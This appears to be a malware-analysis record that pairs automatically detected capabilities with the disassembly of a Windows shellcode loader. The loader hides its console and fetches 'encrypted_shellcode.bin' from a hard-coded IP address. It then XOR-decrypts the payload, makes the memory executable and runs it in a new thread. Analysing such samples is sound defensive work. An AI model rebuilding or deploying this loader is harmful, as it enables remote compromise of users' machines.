Function at 0x140001000
Capabilities:
Create http request
Create thread
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov eax, 0x1050
call fcn.14003e550
sub rsp, rax
mov rax, qword [0x140054008]
xor rax, rsp
mov qword [rsp + 0x1040], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r14d, r14d
lea rcx, str.MyUserAgent
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea edx, [r14 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
je 0x14000115f
mov qword [rsp + 0x28], r14
lea rdx, str.http:__154.201.91.159:4433_encrypted_shellcode.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x140001156
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x40]
mov rcx, rax
mov ebx, r14d
mov edi, r14d
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001191
lea r15, [r14 - 1]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140001191
mov rdx, rdi
mov rcx, rbx
add rdx, rax
cmovb rdx, r15
call fcn.140008550
test rax, rax
je 0x140001145
mov r8d, dword [rsp + 0x30]
lea rcx, [rax + rdi]
lea rdx, [rsp + 0x40]
mov rbx, rax
call fcn.140004100
mov eax, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x40]
mov rcx, rsi
add rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400010d4
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400011a8
mov rcx, rbx
call fcn.140008590
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140001290
lea r11, [rsp + 0x1050]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rbx, rbx
je 0x14000115f
mov dword [rsp + 0x38], 0x3179654b
mov r8, r14
mov word [rsp + 0x3c], 0x3332
test rdi, rdi
je 0x1400011f8
movabs r9, 0xaaaaaaaaaaaaaaab
nop dword [rax]
mov rax, r9
mul r8
mov rax, r8
shr rdx, 2
lea rcx, [rdx + rdx*2]
add rcx, rcx
sub rax, rcx
movzx eax, byte [rsp + rax + 0x38]
xor byte [r8 + rbx], al
inc r8
cmp r8, rdi
jb 0x1400011d0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140001232
lea rdx, str.VirtualProtect
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001232
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov rdx, rdi
mov rcx, rbx
call rax
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000125e
mov rcx, rbx
call fcn.140008590
jmp 0x14000115f
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call fcn.140008590
xor eax, eax
jmp 0x140001164